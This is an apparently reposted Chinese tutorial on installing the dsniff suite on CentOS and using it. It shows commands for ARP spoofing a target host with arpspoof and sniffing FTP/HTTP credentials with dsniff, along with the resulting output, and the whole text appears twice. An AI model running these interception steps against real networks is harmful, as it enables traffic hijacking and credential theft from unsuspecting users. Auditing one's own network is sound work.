linux实现嗅探工具Dsniff
程序员文章站
2022-03-12 16:05:46
dsniff是一家集工具为网络审计和渗透测试dsniff,filesnarf,mailsnarf,msgsnarf,urlsnarf,webspy被动监测网络的数据(密码、电子邮件...
dsniff是一家集工具为网络审计和渗透测试dsniff,filesnarf,mailsnarf,msgsnarf,urlsnarf,webspy被动监测网络的数据(密码、电子邮件、文件等)。arpspoof,dnsspoof,macof方便截取网络流量通常不能攻击者(e。g,由于第2层交换)。sshmitm和webmitm实现主动的猴子在中间攻击重定向SSH和HTTPS会话利用弱绑定在特别的PKI。我写这些工具与诚实的意图——审计自己的网络,并证明了大多数网络应用协议不安全感。请不要滥用这种软件
实验环境
centos-5.5
使用软件
openssl-0.9.7i.tar.gz
libnids-1.18.tar.gz
libpcap-0.7.2.tar.gz
libnet-1.0.2a.tar.gz
db-4.7.25.tar.gz
dsniff-2.3.tar.gz
软件安装
11 #include "config.h"
添加 #include "memory.h"
11 #include "config.h"
12 #include "memory.h"
./configure --enable-compat185 --with-db=/usr/local/BerkeleyDB.4.7
make
make install
设置
vim /etc/sysctl.conf
找到 net.ipv4.ip_forward = 0
修改 net.ipv4.ip_forward = 1
sysctl -p 修改生效,无需重启系统
cp -p /usr/local/BerkeleyDB.4.7/lib/libdb-4.7.so /usr/lib
cd /usr/local/sbin;ls 如果有dsniff,既为安装成功
到此为止dsniff,安装成功了。
使用方法
使用 arpspoof 对目标机实施ARP欺骗攻击
arpspoof -i eth0 -t 192.168.0.103 192.168.0.1 192.168.0.1为伪装网关地址
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
c8:3a:35:24:ef:90 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at c8:3a:35:24:ef:90
c8:3a:35:24:ef:90 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at c8:3a:35:24:ef:90
c8:3a:35:24:ef:90 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at c8:3a:35:24:ef:90
使用 dsniff 取得指定端口的数据信息
dsniff -i eth0 -t 21/tcp=ftp,80/tcp=http
dsniff: listening on eth0
-----------------
08/06/13 10:12:35 tcp 192.168.0.103.3043 -> 192.168.0.102.21 (ftp)
USER anonymous
PASS IEUser@
dsniff这是一个口令嗅探器,可以处理的协议类型包括:
FTP,Telnet,SMTP,HTTP,POP,NNTP,IMAP,SNMP,LDAP,Rlogin,RIP,OSP
F,PPTP,MS-CHAP,NFS,VRRP,YP/NIS,SOCKS,X11,CVS,IRC,AIM,ICQ,Napster,ostgreSQL,
MeetingMaker,CitrixICA,Symantec,pcAnywhere,NA
ISniffer,MicrosoftSMB,OracleQL*Net,Sybase及MicrosoftSQL认证信息
实验环境
centos-5.5
使用软件
openssl-0.9.7i.tar.gz
libnids-1.18.tar.gz
libpcap-0.7.2.tar.gz
libnet-1.0.2a.tar.gz
db-4.7.25.tar.gz
dsniff-2.3.tar.gz
软件安装
yum install -y gcc gcc-c++ flex bison tar zxvf openssl-0.9.7i.tar.gz cd openssl-0.9.7l ./config make make install tar zxvf libpcap-0.7.2.tar.gz cd libpcap-0.7.2 ./configure make make install tar zxvf libnet-1.0.2a.tar.gz cd Libnet-1.0.2a ./configure make make install tar zxvf libnids-1.18.tar.gz cd libnids-1.18 ./configure make make install tar zxvf db-4.7.25.tar.gz cd db-4.7.25/build_unix ../dist/configure --enable-compat185 make make install tar zxvf dsniff-2.3.tar.gz cd dsniff-2.3 vim arp.c
11 #include "config.h"
添加 #include "memory.h"
11 #include "config.h"
12 #include "memory.h"
./configure --enable-compat185 --with-db=/usr/local/BerkeleyDB.4.7
make
make install
设置
vim /etc/sysctl.conf
找到 net.ipv4.ip_forward = 0
修改 net.ipv4.ip_forward = 1
sysctl -p 修改生效,无需重启系统
cp -p /usr/local/BerkeleyDB.4.7/lib/libdb-4.7.so /usr/lib
cd /usr/local/sbin;ls 如果有dsniff,既为安装成功
到此为止dsniff,安装成功了。
使用方法
使用 arpspoof 对目标机实施ARP欺骗攻击
arpspoof -i eth0 -t 192.168.0.103 192.168.0.1 192.168.0.1为伪装网关地址
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3
c8:3a:35:24:ef:90 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at c8:3a:35:24:ef:90
c8:3a:35:24:ef:90 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at c8:3a:35:24:ef:90
c8:3a:35:24:ef:90 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at c8:3a:35:24:ef:90
使用 dsniff 取得指定端口的数据信息
dsniff -i eth0 -t 21/tcp=ftp,80/tcp=http
dsniff: listening on eth0
-----------------
08/06/13 10:12:35 tcp 192.168.0.103.3043 -> 192.168.0.102.21 (ftp)
USER anonymous
PASS IEUser@
dsniff这是一个口令嗅探器,可以处理的协议类型包括:
FTP,Telnet,SMTP,HTTP,POP,NNTP,IMAP,SNMP,LDAP,Rlogin,RIP,OSP
F,PPTP,MS-CHAP,NFS,VRRP,YP/NIS,SOCKS,X11,CVS,IRC,AIM,ICQ,Napster,ostgreSQL,
MeetingMaker,CitrixICA,Symantec,pcAnywhere,NA
ISniffer,MicrosoftSMB,OracleQL*Net,Sybase及MicrosoftSQL认证信息
上一篇: java类型 jdbcType类型 mysql类型关系
下一篇: 手把手一起分析最新Flash样本